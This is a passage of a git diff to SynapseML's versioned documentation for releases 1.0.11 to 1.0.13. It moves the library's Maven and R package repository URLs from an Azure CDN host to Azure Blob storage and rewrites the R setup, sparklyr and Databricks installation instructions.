"org.scala-lang:scala-reflect,org.apache.spark:spark-tags_2.12,org.scalactic:scalactic_2.12,org.scalatest:scalatest_2.12,com.fasterxml.jackson.core:jackson-databind", "spark.yarn.user.classpath.first": "true", "spark.sql.parquet.enableVectorizedReader": "false" @@ -33,7 +33,7 @@ For Spark3.4 pools "name": "synapseml", "conf": { "spark.jars.packages": "com.microsoft.azure:synapseml_2.12:1.0.11", - "spark.jars.repositories": "https://mmlspark.azureedge.net/maven", + "spark.jars.repositories": "https://mmlspark.blob.core.windows.net/maven", "spark.jars.excludes": "org.scala-lang:scala-reflect,org.apache.spark:spark-tags_2.12,org.scalactic:scalactic_2.12,org.scalatest:scalatest_2.12,com.fasterxml.jackson.core:jackson-databind", "spark.yarn.user.classpath.first": "true", "spark.sql.parquet.enableVectorizedReader": "false" @@ -48,7 +48,7 @@ For Spark3.3 pools: "name": "synapseml", "conf": { "spark.jars.packages": "com.microsoft.azure:synapseml_2.12:0.11.4-spark3.3", - "spark.jars.repositories": "https://mmlspark.azureedge.net/maven", + "spark.jars.repositories": "https://mmlspark.blob.core.windows.net/maven", "spark.jars.excludes": "org.scala-lang:scala-reflect,org.apache.spark:spark-tags_2.12,org.scalactic:scalactic_2.12,org.scalatest:scalatest_2.12,com.fasterxml.jackson.core:jackson-databind", "spark.yarn.user.classpath.first": "true", "spark.sql.parquet.enableVectorizedReader": "false" @@ -66,7 +66,7 @@ import pyspark spark = pyspark.sql.SparkSession.builder.appName("MyApp") \ # Use 0.11.4-spark3.3 version for Spark3.3 and 1.0.11 version for Spark3.4 .config("spark.jars.packages", "com.microsoft.azure:synapseml_2.12:1.0.11") \ - .config("spark.jars.repositories", "https://mmlspark.azureedge.net/maven") \ + .config("spark.jars.repositories", "https://mmlspark.blob.core.windows.net/maven") \ .getOrCreate() import synapse.ml ``` @@ -77,7 +77,7 @@ If you're building a Spark application in Scala, add the following lines to your `build.sbt`: ```scala -resolvers += "SynapseML" at "https://mmlspark.azureedge.net/maven" +resolvers += "SynapseML" at "https://mmlspark.blob.core.windows.net/maven" // Use 0.11.4-spark3.3 version for Spark3.3 and 1.0.11 version for Spark3.4 libraryDependencies += "com.microsoft.azure" % "synapseml_2.12" % "1.0.11" ``` @@ -108,7 +108,7 @@ in your workspace. For the coordinates use: `com.microsoft.azure:synapseml_2.12:1.0.11` for Spark3.4 Cluster and `com.microsoft.azure:synapseml_2.12:0.11.4-spark3.3` for Spark3.3 Cluster; -Add the resolver: `https://mmlspark.azureedge.net/maven`. Ensure this library is +Add the resolver: `https://mmlspark.blob.core.windows.net/maven`. Ensure this library is attached to your target cluster(s). Finally, ensure that your Spark cluster has at least Spark 3.2 and Scala 2.12. diff --git a/website/versioned_docs/version-1.0.11/Reference/Contributor Guide.md b/website/versioned_docs/version-1.0.11/Reference/Contributor Guide.md index e8413400828..e44cc20f222 100644 --- a/website/versioned_docs/version-1.0.11/Reference/Contributor Guide.md +++ b/website/versioned_docs/version-1.0.11/Reference/Contributor Guide.md @@ -65,7 +65,7 @@ this process: case of your algorithm, with instructions in step-by-step manner. (The same notebook could be used for testing the code.) - Add in-line ScalaDoc comments to your source code, to generate the [API - reference documentation](https://mmlspark.azureedge.net/docs/pyspark/) + reference documentation](https://mmlspark.blob.core.windows.net/docs/pyspark/) #### Open a pull request diff --git a/website/versioned_docs/version-1.0.11/Reference/R Setup.md b/website/versioned_docs/version-1.0.11/Reference/R Setup.md index 4ecb1940905..643ef79c1ae 100644 --- a/website/versioned_docs/version-1.0.11/Reference/R Setup.md +++ b/website/versioned_docs/version-1.0.11/Reference/R Setup.md @@ -10,69 +10,68 @@ description: R setup and example for SynapseML ## Installation -**Requirements**: Ensure that R and -[devtools](https://github.com/hadley/devtools) installed on your -machine. +**Requirements**: Install R and +[devtools](https://github.com/hadley/devtools) on your machine. -Also make sure you have Apache Spark installed. If you are using Sparklyr, you can use [spark-install](https://spark.rstudio.com/packages/sparklyr/latest/reference/spark_install.html). Be sure to specify the correct version. As of this writing, that should be version="3.2". spark_install is a bit eccentric and may install a slightly different version. Be sure that the version you get is one that you want. +Also install a version of Apache Spark that is compatible with this SynapseML +release. If you are using sparklyr, you can use +[`spark_install`](https://spark.rstudio.com/packages/sparklyr/latest/reference/spark_install.html). +On Windows, download +[WinUtils.exe](https://github.com/steveloughran/winutils/blob/master/hadoop-3.0.0/bin/winutils.exe) +and copy it into the `bin` directory of your Spark installation, for example, +`C:\Users\user\AppData\Local\Spark\spark-3.3.2-bin-hadoop3\bin`. -On Windows, download [WinUtils.exe](https://github.com/steveloughran/winutils/blob/master/hadoop-3.0.0/bin/winutils.exe) and copy it into the `bin` directory of your Spark installation, e.g. C:\Users\user\AppData\Local\Spark\spark-3.3.2-bin-hadoop3\bin - -To install the current SynapseML package for R, first install synapseml-core: +The R bindings are published as one archive per SynapseML module. A combined +`synapseml-1.0.11.zip` archive is not published. Install `synapseml-core` and +the modules needed by your application (the following installs all six): ```R -... -devtools::install_url("https://mmlspark.azureedge.net/rrr/synapseml-core-0.11.0.zip") -... +devtools::install_url("https://mmlspark.blob.core.windows.net/rrr/synapseml-core-1.0.11.zip") +devtools::install_url("https://mmlspark.blob.core.windows.net/rrr/synapseml-cognitive-1.0.11.zip") +devtools::install_url("https://mmlspark.blob.core.windows.net/rrr/synapseml-deep-learning-1.0.11.zip") +devtools::install_url("https://mmlspark.blob.core.windows.net/rrr/synapseml-lightgbm-1.0.11.zip") +devtools::install_url("https://mmlspark.blob.core.windows.net/rrr/synapseml-opencv-1.0.11.zip") +devtools::install_url("https://mmlspark.blob.core.windows.net/rrr/synapseml-vw-1.0.11.zip") ``` -and then install any or all of the following packages, depending on your intended usage: +> **Published archive compatibility:** The component archives for this release +> were generated before the artifact endpoint migration and embed the retired +> Azure CDN Maven resolver in their sparklyr extension registration. Until the +> archives are regenerated and published, provide the Blob resolver explicitly +> and pass `extensions = character()` as shown below. Otherwise, loading an R +> wrapper before connecting can reactivate the retired resolver. -synapseml-cognitive, -synapseml-deep-learning, -synapseml-lightgbm, -synapseml-opencv, -synapseml-vw +### Importing libraries and setting up a Spark context -In other words: +Installing all dependencies may be time-consuming. When complete, create the +Spark context with an explicit package coordinate and repository. For local +sparklyr connections, `sparklyr.shell.repositories` supplies the repository to +`spark-submit`, while `extensions = character()` prevents the wrappers' embedded +registration from overriding it: ```R -... -devtools::install_url("https://mmlspark.azureedge.net/rrr/synapseml-cognitive-0.11.0.zip") -devtools::install_url("https://mmlspark.azureedge.net/rrr/synapseml-deep-learning-0.11.0.zip") -devtools::install_url("https://mmlspark.azureedge.net/rrr/synapseml-lightgbm-0.11.0.zip") -devtools::install_url("https://mmlspark.azureedge.net/rrr/synapseml-opencv-0.11.0.zip") -devtools::install_url("https://mmlspark.azureedge.net/rrr/synapseml-vw-0.11.0.zip") -... -``` - -### Importing libraries and setting up spark context - -Installing all dependencies may be time-consuming. When complete, run: - -```R -... library(sparklyr) library(dplyr) + config <- spark_config() config$sparklyr.defaultPackages <- "com.microsoft.azure:synapseml_2.12:1.0.11" -sc <- spark_connect(master = "local", config = config) -... +config$sparklyr.shell.repositories <- "https://mmlspark.blob.core.windows.net/maven" +sc <- spark_connect( + master = "local", + config = config, + extensions = character() +) ``` -This creates a spark context on your local machine. - -We then need to import the R wrappers: +Then import the installed R wrappers: ```R -... - library(synapseml.core) - library(synapseml.cognitive) - library(synapseml.deep.learning) - library(synapseml.lightgbm) - library(synapseml.opencv) - library(synapseml.vw) -... +library(synapseml.core) +library(synapseml.cognitive) +library(synapseml.deep.learning) +library(synapseml.lightgbm) +library(synapseml.opencv) +library(synapseml.vw) ``` ## Example @@ -80,71 +79,90 @@ We then need to import the R wrappers: We can use the faithful dataset in R: ```R -... faithful_df <- copy_to(sc, faithful) -cmd_model = ml_clean_missing_data( - x=faithful_df, - inputCols = c("eruptions", "waiting"), - outputCols = c("eruptions_output", "waiting_output"), - only.model=TRUE) -sdf_transform(cmd_model, faithful_df) -... +cmd_model <- ml_clean_missing_data( + x = faithful_df, + inputCols = c("eruptions", "waiting"), + outputCols = c("eruptions_output", "waiting_output"), + only.model = TRUE +) +ml_transform(cmd_model, faithful_df) ``` -You should see the output: +You should see output similar to: -```R -... +```text # Source: table [?? x 4] # Database: spark_connection eruptions waiting eruptions_output waiting_output - - 1 3.600 79 3.600 79 - 2 1.800 54 1.800 54 - 3 3.333 74 3.333 74 - 4 2.283 62 2.283 62 - 5 4.533 85 4.533 85 - 6 2.883 55 2.883 55 - 7 4.700 88 4.700 88 - 8 3.600 85 3.600 85 - 9 1.950 51 1.950 51 - 10 4.350 85 4.350 85 - # ... with more rows -... + + 1 3.600 79 3.600 79 + 2 1.800 54 1.800 54 + 3 3.333 74 3.333 74 + 4 2.283 62 2.283 62 + 5 4.533 85 4.533 85 + 6 2.883 55 2.883 55 + 7 4.700 88 4.700 88 + 8 3.600 85 3.600 85 + 9 1.950 51 1.950 51 +10 4.350 85 4.350 85 +# ... with more rows ``` ## Azure Databricks -In Azure Databricks, you can install devtools and the spark package from URL -and then use spark_connect with method = "databricks": +Install the R component archives from the installation block above on the +cluster driver. SynapseML's JVM package must be available when the cluster +starts; `spark_connect(method = "databricks")` connects to an existing Spark +session and cannot add the JVM package afterward. Before starting or restarting +the cluster, either: + +- add the Maven library `com.microsoft.azure:synapseml_2.12:1.0.11` and set its + repository (under **Advanced options**) to + `https://mmlspark.blob.core.windows.net/maven`; or +- add both settings to the cluster's Spark configuration: + +```text +spark.jars.packages com.microsoft.azure:synapseml_2.12:1.0.11 +spark.jars.repositories https://mmlspark.blob.core.windows.net/maven +``` + +After the cluster restarts, connect without loading the embedded extension +metadata: ```R -install.packages("devtools") -devtools::install_url("https://mmlspark.azureedge.net/rrr/synapseml-1.0.11.zip") library(sparklyr) library(dplyr) -sc <- spark_connect(method = "databricks") +library(synapseml.core) +library(synapseml.lightgbm) + +sc <- spark_connect(method = "databricks", extensions = character()) faithful_df <- copy_to(sc, faithful) -unfit_model = ml_light_gbmregressor(sc, maxDepth=20, featuresCol="waiting", labelCol="eruptions", numIterations=10, unfit.model=TRUE) -ml_train_regressor(faithful_df, labelCol="eruptions", unfit_model) +unfit_model <- ml_light_gbm_regressor( + sc, + maxDepth = 20, + featuresCol = "waiting", + labelCol = "eruptions", + numIterations = 10, + unfit.model = TRUE +) +ml_train_regressor(faithful_df, labelCol = "eruptions", model = unfit_model) ``` ## Building from Source Our R bindings are built as part of the [normal build -process](../Developer%20Setup). To get a quick build, start at the root -of the synapseml directory, and find the generated files. For instance, -to find the R files for deep-learning, run +process](../Developer%20Setup). To get a quick build, start at the root +of the SynapseML directory and find the generated files. For example, to find +the R files for deep-learning, run: ```bash sbt packageR ls ./deep-learning/target/scala-2.12/generated/src/R/synapseml/R ``` -You can then run R in a terminal and install the above files directly: +You can then run R in a terminal and install the files directly: ```R -... devtools::install_local("./deep-learning/target/scala-2.12/generated/src/R/synapseml/R") -... ``` diff --git a/website/versioned_docs/version-1.0.12/Explore Algorithms/Anomaly Detection/Quickstart - Isolation Forests.md b/website/versioned_docs/version-1.0.12/Explore Algorithms/Anomaly Detection/Quickstart - Isolation Forests.md index b4c241b3160..40ce8d5d732 100644 --- a/website/versioned_docs/version-1.0.12/Explore Algorithms/Anomaly Detection/Quickstart - Isolation Forests.md +++ b/website/versioned_docs/version-1.0.12/Explore Algorithms/Anomaly Detection/Quickstart - Isolation Forests.md @@ -19,7 +19,7 @@ To learn more about the Isolation Forest model please refer to the original pape # "name": "synapseml", # "conf": { # "spark.jars.packages": "com.microsoft.azure:synapseml_2.12:", -# "spark.jars.repositories": "https://mmlspark.azureedge.net/maven", +# "spark.jars.repositories": "https://mmlspark.blob.core.windows.net/maven", # "spark.jars.excludes": "org.scala-lang:scala-reflect,org.apache.spark:spark-tags_2.12,org.scalactic:scalactic_2.12,org.scalatest:scalatest_2.12,com.fasterxml.jackson.core:jackson-databind", # "spark.yarn.user.classpath.first": "true", # "spark.sql.parquet.enableVectorizedReader": "false" diff --git a/website/versioned_docs/version-1.0.12/Explore Algorithms/Deep Learning/Getting Started.md b/website/versioned_docs/version-1.0.12/Explore Algorithms/Deep Learning/Getting Started.md index 79143baf852..d639c05ed5e 100644 --- a/website/versioned_docs/version-1.0.12/Explore Algorithms/Deep Learning/Getting Started.md +++ b/website/versioned_docs/version-1.0.12/Explore Algorithms/Deep Learning/Getting Started.md @@ -27,7 +27,7 @@ pip install synapseml==1.0.12 An alternative is installing the SynapseML jar package in library management section, by adding: ``` Coordinate: com.microsoft.azure:synapseml_2.12:1.0.12 -Repository: https://mmlspark.azureedge.net/maven +Repository: https://mmlspark.blob.core.windows.net/maven ``` :::note If you install the jar package, follow the first two cells of this [sample](../Quickstart%20-%20Fine-tune%20a%20Vision%20Classifier#environment-setup----reinstall-horovod-based-on-new-version-of-pytorch) diff --git a/website/versioned_docs/version-1.0.12/Explore Algorithms/Other Algorithms/Quickstart - Anomalous Access Detection.md b/website/versioned_docs/version-1.0.12/Explore Algorithms/Other Algorithms/Quickstart - Anomalous Access Detection.md index eb658829845..d27b3b083d4 100644 --- a/website/versioned_docs/version-1.0.12/Explore Algorithms/Other Algorithms/Quickstart - Anomalous Access Detection.md +++ b/website/versioned_docs/version-1.0.12/Explore Algorithms/Other Algorithms/Quickstart - Anomalous Access Detection.md @@ -29,7 +29,7 @@ Note: the data does NOT contain information about departments, this information 1. In Cluster Libraries install from library source Maven: Coordinates: com.microsoft.azure:synapseml_2.12:1.0.12 -Repository: https://mmlspark.azureedge.net/maven +Repository: https://mmlspark.blob.core.windows.net/maven 2. In Cluster Libraries install from PyPI the library called plotly diff --git a/website/versioned_docs/version-1.0.12/Get Started/Install SynapseML.md b/website/versioned_docs/version-1.0.12/Get Started/Install SynapseML.md index b91ad6576a3..2f3cbcb4244 100644 --- a/website/versioned_docs/version-1.0.12/Get Started/Install SynapseML.md +++ b/website/versioned_docs/version-1.0.12/Get Started/Install SynapseML.md @@ -13,7 +13,7 @@ SynapseML is already installed in Microsoft Fabric notebooks. To change the vers "name": "synapseml", "conf": { "spark.jars.packages": "com.microsoft.azure:synapseml_2.12:", - "spark.jars.repositories": "https://mmlspark.azureedge.net/maven", + "spark.jars.repositories": "https://mmlspark.blob.core.windows.net/maven", "spark.jars.excludes": "org.scala-lang:scala-reflect,org.apache.spark:spark-tags_2.12,org.scalactic:scalactic_2.12,org.scalatest:scalatest_2.12,com.fasterxml.jackson.core:jackson-databind", "spark.yarn.user.classpath.first": "true", "spark.sql.parquet.enableVectorizedReader": "false" @@ -33,7 +33,7 @@ For Spark3.4 pools "name": "synapseml", "conf": { "spark.jars.packages": "com.microsoft.azure:synapseml_2.12:1.0.12", - "spark.jars.repositories": "https://mmlspark.azureedge.net/maven", + "spark.jars.repositories": "https://mmlspark.blob.core.windows.net/maven", "spark.jars.excludes": "org.scala-lang:scala-reflect,org.apache.spark:spark-tags_2.12,org.scalactic:scalactic_2.12,org.scalatest:scalatest_2.12,com.fasterxml.jackson.core:jackson-databind", "spark.yarn.user.classpath.first": "true", "spark.sql.parquet.enableVectorizedReader": "false" @@ -48,7 +48,7 @@ For Spark3.3 pools: "name": "synapseml", "conf": { "spark.jars.packages": "com.microsoft.azure:synapseml_2.12:0.11.4-spark3.3", - "spark.jars.repositories": "https://mmlspark.azureedge.net/maven", + "spark.jars.repositories": "https://mmlspark.blob.core.windows.net/maven", "spark.jars.excludes": "org.scala-lang:scala-reflect,org.apache.spark:spark-tags_2.12,org.scalactic:scalactic_2.12,org.scalatest:scalatest_2.12,com.fasterxml.jackson.core:jackson-databind", "spark.yarn.user.classpath.first": "true", "spark.sql.parquet.enableVectorizedReader": "false" @@ -66,7 +66,7 @@ import pyspark spark = pyspark.sql.SparkSession.builder.appName("MyApp") \ # Use 0.11.4-spark3.3 version for Spark3.3 and 1.0.12 version for Spark3.4 .config("spark.jars.packages", "com.microsoft.azure:synapseml_2.12:1.0.12") \ - .config("spark.jars.repositories", "https://mmlspark.azureedge.net/maven") \ + .config("spark.jars.repositories", "https://mmlspark.blob.core.windows.net/maven") \ .getOrCreate() import synapse.ml ``` @@ -77,7 +77,7 @@ If you're building a Spark application in Scala, add the following lines to your `build.sbt`: ```scala -resolvers += "SynapseML" at "https://mmlspark.azureedge.net/maven" +resolvers += "SynapseML" at "https://mmlspark.blob.core.windows.net/maven" // Use 0.11.4-spark3.3 version for Spark3.3 and 1.0.12 version for Spark3.4 libraryDependencies += "com.microsoft.azure" % "synapseml_2.12" % "1.0.12" ``` @@ -108,7 +108,7 @@ in your workspace. For the coordinates use: `com.microsoft.azure:synapseml_2.12:1.0.12` for Spark3.4 Cluster and `com.microsoft.azure:synapseml_2.12:0.11.4-spark3.3` for Spark3.3 Cluster; -Add the resolver: `https://mmlspark.azureedge.net/maven`. Ensure this library is +Add the resolver: `https://mmlspark.blob.core.windows.net/maven`. Ensure this library is attached to your target cluster(s). Finally, ensure that your Spark cluster has at least Spark 3.2 and Scala 2.12. diff --git a/website/versioned_docs/version-1.0.12/Reference/Contributor Guide.md b/website/versioned_docs/version-1.0.12/Reference/Contributor Guide.md index e8413400828..e44cc20f222 100644 --- a/website/versioned_docs/version-1.0.12/Reference/Contributor Guide.md +++ b/website/versioned_docs/version-1.0.12/Reference/Contributor Guide.md @@ -65,7 +65,7 @@ this process: case of your algorithm, with instructions in step-by-step manner. (The same notebook could be used for testing the code.) - Add in-line ScalaDoc comments to your source code, to generate the [API - reference documentation](https://mmlspark.azureedge.net/docs/pyspark/) + reference documentation](https://mmlspark.blob.core.windows.net/docs/pyspark/) #### Open a pull request diff --git a/website/versioned_docs/version-1.0.12/Reference/R Setup.md b/website/versioned_docs/version-1.0.12/Reference/R Setup.md index 3205ceb5e21..d0eded0bc64 100644 --- a/website/versioned_docs/version-1.0.12/Reference/R Setup.md +++ b/website/versioned_docs/version-1.0.12/Reference/R Setup.md @@ -10,69 +10,68 @@ description: R setup and example for SynapseML ## Installation -**Requirements**: Ensure that R and -[devtools](https://github.com/hadley/devtools) installed on your -machine. +**Requirements**: Install R and +[devtools](https://github.com/hadley/devtools) on your machine. -Also make sure you have Apache Spark installed. If you are using Sparklyr, you can use [spark-install](https://spark.rstudio.com/packages/sparklyr/latest/reference/spark_install.html). Be sure to specify the correct version. As of this writing, that should be version="3.2". spark_install is a bit eccentric and may install a slightly different version. Be sure that the version you get is one that you want. +Also install a version of Apache Spark that is compatible with this SynapseML +release. If you are using sparklyr, you can use +[`spark_install`](https://spark.rstudio.com/packages/sparklyr/latest/reference/spark_install.html). +On Windows, download +[WinUtils.exe](https://github.com/steveloughran/winutils/blob/master/hadoop-3.0.0/bin/winutils.exe) +and copy it into the `bin` directory of your Spark installation, for example, +`C:\Users\user\AppData\Local\Spark\spark-3.3.2-bin-hadoop3\bin`. -On Windows, download [WinUtils.exe](https://github.com/steveloughran/winutils/blob/master/hadoop-3.0.0/bin/winutils.exe) and copy it into the `bin` directory of your Spark installation, e.g. C:\Users\user\AppData\Local\Spark\spark-3.3.2-bin-hadoop3\bin - -To install the current SynapseML package for R, first install synapseml-core: +The R bindings are published as one archive per SynapseML module. A combined +`synapseml-1.0.12.zip` archive is not published. Install `synapseml-core` and +the modules needed by your application (the following installs all six): ```R -... -devtools::install_url("https://mmlspark.azureedge.net/rrr/synapseml-core-0.11.0.zip") -... +devtools::install_url("https://mmlspark.blob.core.windows.net/rrr/synapseml-core-1.0.12.zip") +devtools::install_url("https://mmlspark.blob.core.windows.net/rrr/synapseml-cognitive-1.0.12.zip") +devtools::install_url("https://mmlspark.blob.core.windows.net/rrr/synapseml-deep-learning-1.0.12.zip") +devtools::install_url("https://mmlspark.blob.core.windows.net/rrr/synapseml-lightgbm-1.0.12.zip") +devtools::install_url("https://mmlspark.blob.core.windows.net/rrr/synapseml-opencv-1.0.12.zip") +devtools::install_url("https://mmlspark.blob.core.windows.net/rrr/synapseml-vw-1.0.12.zip") ``` -and then install any or all of the following packages, depending on your intended usage: +> **Published archive compatibility:** The component archives for this release +> were generated before the artifact endpoint migration and embed the retired +> Azure CDN Maven resolver in their sparklyr extension registration. Until the +> archives are regenerated and published, provide the Blob resolver explicitly +> and pass `extensions = character()` as shown below. Otherwise, loading an R +> wrapper before connecting can reactivate the retired resolver. -synapseml-cognitive, -synapseml-deep-learning, -synapseml-lightgbm, -synapseml-opencv, -synapseml-vw +### Importing libraries and setting up a Spark context -In other words: +Installing all dependencies may be time-consuming. When complete, create the +Spark context with an explicit package coordinate and repository. For local +sparklyr connections, `sparklyr.shell.repositories` supplies the repository to +`spark-submit`, while `extensions = character()` prevents the wrappers' embedded +registration from overriding it: ```R -... -devtools::install_url("https://mmlspark.azureedge.net/rrr/synapseml-cognitive-0.11.0.zip") -devtools::install_url("https://mmlspark.azureedge.net/rrr/synapseml-deep-learning-0.11.0.zip") -devtools::install_url("https://mmlspark.azureedge.net/rrr/synapseml-lightgbm-0.11.0.zip") -devtools::install_url("https://mmlspark.azureedge.net/rrr/synapseml-opencv-0.11.0.zip") -devtools::install_url("https://mmlspark.azureedge.net/rrr/synapseml-vw-0.11.0.zip") -... -``` - -### Importing libraries and setting up spark context - -Installing all dependencies may be time-consuming. When complete, run: - -```R -... library(sparklyr) library(dplyr) + config <- spark_config() config$sparklyr.defaultPackages <- "com.microsoft.azure:synapseml_2.12:1.0.12" -sc <- spark_connect(master = "local", config = config) -... +config$sparklyr.shell.repositories <- "https://mmlspark.blob.core.windows.net/maven" +sc <- spark_connect( + master = "local", + config = config, + extensions = character() +) ``` -This creates a spark context on your local machine. - -We then need to import the R wrappers: +Then import the installed R wrappers: ```R -... - library(synapseml.core) - library(synapseml.cognitive) - library(synapseml.deep.learning) - library(synapseml.lightgbm) - library(synapseml.opencv) - library(synapseml.vw) -... +library(synapseml.core) +library(synapseml.cognitive) +library(synapseml.deep.learning) +library(synapseml.lightgbm) +library(synapseml.opencv) +library(synapseml.vw) ``` ## Example @@ -80,71 +79,90 @@ We then need to import the R wrappers: We can use the faithful dataset in R: ```R -... faithful_df <- copy_to(sc, faithful) -cmd_model = ml_clean_missing_data( - x=faithful_df, - inputCols = c("eruptions", "waiting"), - outputCols = c("eruptions_output", "waiting_output"), - only.model=TRUE) -sdf_transform(cmd_model, faithful_df) -... +cmd_model <- ml_clean_missing_data( + x = faithful_df, + inputCols = c("eruptions", "waiting"), + outputCols = c("eruptions_output", "waiting_output"), + only.model = TRUE +) +ml_transform(cmd_model, faithful_df) ``` -You should see the output: +You should see output similar to: -```R -... +```text # Source: table [?? x 4] # Database: spark_connection eruptions waiting eruptions_output waiting_output - - 1 3.600 79 3.600 79 - 2 1.800 54 1.800 54 - 3 3.333 74 3.333 74 - 4 2.283 62 2.283 62 - 5 4.533 85 4.533 85 - 6 2.883 55 2.883 55 - 7 4.700 88 4.700 88 - 8 3.600 85 3.600 85 - 9 1.950 51 1.950 51 - 10 4.350 85 4.350 85 - # ... with more rows -... + + 1 3.600 79 3.600 79 + 2 1.800 54 1.800 54 + 3 3.333 74 3.333 74 + 4 2.283 62 2.283 62 + 5 4.533 85 4.533 85 + 6 2.883 55 2.883 55 + 7 4.700 88 4.700 88 + 8 3.600 85 3.600 85 + 9 1.950 51 1.950 51 +10 4.350 85 4.350 85 +# ... with more rows ``` ## Azure Databricks -In Azure Databricks, you can install devtools and the spark package from URL -and then use spark_connect with method = "databricks": +Install the R component archives from the installation block above on the +cluster driver. SynapseML's JVM package must be available when the cluster +starts; `spark_connect(method = "databricks")` connects to an existing Spark +session and cannot add the JVM package afterward. Before starting or restarting +the cluster, either: + +- add the Maven library `com.microsoft.azure:synapseml_2.12:1.0.12` and set its + repository (under **Advanced options**) to + `https://mmlspark.blob.core.windows.net/maven`; or +- add both settings to the cluster's Spark configuration: + +```text +spark.jars.packages com.microsoft.azure:synapseml_2.12:1.0.12 +spark.jars.repositories https://mmlspark.blob.core.windows.net/maven +``` + +After the cluster restarts, connect without loading the embedded extension +metadata: ```R -install.packages("devtools") -devtools::install_url("https://mmlspark.azureedge.net/rrr/synapseml-1.0.12.zip") library(sparklyr) library(dplyr) -sc <- spark_connect(method = "databricks") +library(synapseml.core) +library(synapseml.lightgbm) + +sc <- spark_connect(method = "databricks", extensions = character()) faithful_df <- copy_to(sc, faithful) -unfit_model = ml_light_gbmregressor(sc, maxDepth=20, featuresCol="waiting", labelCol="eruptions", numIterations=10, unfit.model=TRUE) -ml_train_regressor(faithful_df, labelCol="eruptions", unfit_model) +unfit_model <- ml_light_gbm_regressor( + sc, + maxDepth = 20, + featuresCol = "waiting", + labelCol = "eruptions", + numIterations = 10, + unfit.model = TRUE +) +ml_train_regressor(faithful_df, labelCol = "eruptions", model = unfit_model) ``` ## Building from Source Our R bindings are built as part of the [normal build -process](../Developer%20Setup). To get a quick build, start at the root -of the synapseml directory, and find the generated files. For instance, -to find the R files for deep-learning, run +process](../Developer%20Setup). To get a quick build, start at the root +of the SynapseML directory and find the generated files. For example, to find +the R files for deep-learning, run: ```bash sbt packageR ls ./deep-learning/target/scala-2.12/generated/src/R/synapseml/R ``` -You can then run R in a terminal and install the above files directly: +You can then run R in a terminal and install the files directly: ```R -... devtools::install_local("./deep-learning/target/scala-2.12/generated/src/R/synapseml/R") -... ``` diff --git a/website/versioned_docs/version-1.0.13/Explore Algorithms/Anomaly Detection/Quickstart - Isolation Forests.md b/website/versioned_docs/version-1.0.13/Explore Algorithms/Anomaly Detection/Quickstart - Isolation Forests.md index b4c241b3160..40ce8d5d732 100644 --- a/website/versioned_docs/version-1.0.13/Explore Algorithms/Anomaly Detection/Quickstart - Isolation Forests.md +++ b/website/versioned_docs/version-1.0.13/Explore Algorithms/Anomaly Detection/Quickstart - Isolation Forests.md @@ -19,7 +19,7 @@ To learn more about the Isolation Forest model please refer to the original pape # "name": "synapseml", # "conf": { # "spark.jars.packages": "com.microsoft.azure:synapseml_2.12:", -# "spark.jars.repositories": "https://mmlspark.azureedge.net/maven", +# "spark.jars.repositories": "https://mmlspark.blob.core.windows.net/maven", # "spark.jars.excludes": "org.scala-lang:scala-reflect,org.apache.spark:spark-tags_2.12,org.scalactic:scalactic_2.12,org.scalatest:scalatest_2.12,com.fasterxml.jackson.core:jackson-databind", # "spark.yarn.user.classpath.first": "true", # "spark.sql.parquet.enableVectorizedReader": "false" diff --git a/website/versioned_docs/version-1.0.13/Explore Algorithms/Deep Learning/Getting Started.md b/website/versioned_docs/version-1.0.13/Explore Algorithms/Deep Learning/Getting Started.md index a64ab621c50..7cdba50747c 100644 --- a/website/versioned_docs/version-1.0.13/Explore Algorithms/Deep Learning/Getting Started.md +++ b/website/versioned_docs/version-1.0.13/Explore Algorithms/Deep Learning/Getting Started.md @@ -27,7 +27,7 @@ pip install synapseml==1.0.13 An alternative is installing the SynapseML jar package in library management section, by adding: ``` Coordinate: com.microsoft.azure:synapseml_2.12:1.0.13 -Repository: https://mmlspark.azureedge.net/maven +Repository: https://mmlspark.blob.core.windows.net/maven ``` :::note If you install the jar package, follow the first two cells of this [sample](../Quickstart%20-%20Fine-tune%20a%20Vision%20Classifier#environment-setup----reinstall-horovod-based-on-new-version-of-pytorch) diff --git a/website/versioned_docs/version-1.0.13/Explore Algorithms/Other Algorithms/Quickstart - Anomalous Access Detection.md b/website/versioned_docs/version-1.0.13/Explore Algorithms/Other Algorithms/Quickstart - Anomalous Access Detection.md index 0fee9ce533b..98469202c3f 100644 --- a/website/versioned_docs/version-1.0.13/Explore Algorithms/Other Algorithms/Quickstart - Anomalous Access Detection.md +++ b/website/versioned_docs/version-1.0.13/Explore Algorithms/Other Algorithms/Quickstart - Anomalous Access Detection.md @@ -29,7 +29,7 @@ Note: the data does NOT contain information about departments, this information 1. In Cluster Libraries install from library source Maven: Coordinates: com.microsoft.azure:synapseml_2.12:1.0.13 -Repository: https://mmlspark.azureedge.net/maven +Repository: https://mmlspark.blob.core.windows.net/maven 2. In Cluster Libraries install from PyPI the library called plotly diff --git a/website/versioned_docs/version-1.0.13/Get Started/Install SynapseML.md b/website/versioned_docs/version-1.0.13/Get Started/Install SynapseML.md index b1b6be54a35..b788e3c6293 100644 --- a/website/versioned_docs/version-1.0.13/Get Started/Install SynapseML.md +++ b/website/versioned_docs/version-1.0.13/Get Started/Install SynapseML.md @@ -13,7 +13,7 @@ SynapseML is already installed in Microsoft Fabric notebooks. To change the vers "name": "synapseml", "conf": { "spark.jars.packages": "com.microsoft.azure:synapseml_2.12:", - "spark.jars.repositories": "https://mmlspark.azureedge.net/maven", + "spark.jars.repositories": "https://mmlspark.blob.core.windows.net/maven", "spark.jars.excludes": "org.scala-lang:scala-reflect,org.apache.spark:spark-tags_2.12,org.scalactic:scalactic_2.12,org.scalatest:scalatest_2.12,com.fasterxml.jackson.core:jackson-databind", "spark.yarn.user.classpath.first": "true", "spark.sql.parquet.enableVectorizedReader": "false" @@ -33,7 +33,7 @@ For Spark3.4 pools "name": "synapseml", "conf": { "spark.jars.packages": "com.microsoft.azure:synapseml_2.12:1.0.13", - "spark.jars.repositories": "https://mmlspark.azureedge.net/maven", + "spark.jars.repositories": "https://mmlspark.blob.core.windows.net/maven", "spark.jars.excludes": "org.scala-lang:scala-reflect,org.apache.spark:spark-tags_2.12,org.scalactic:scalactic_2.12,org.scalatest:scalatest_2.12,com.fasterxml.jackson.core:jackson-databind", "spark.yarn.user.classpath.first": "true", "spark.sql.parquet.enableVectorizedReader": "false" @@ -48,7 +48,7 @@ For Spark3.3 pools: "name": "synapseml", "conf": { "spark.jars.packages": "com.microsoft.azure:synapseml_2.12:0.11.4-spark3.3", - "spark.jars.repositories": "https://mmlspark.azureedge.net/maven", + "spark.jars.repositories": "https://mmlspark.blob.core.windows.net/maven", "spark.jars.excludes": 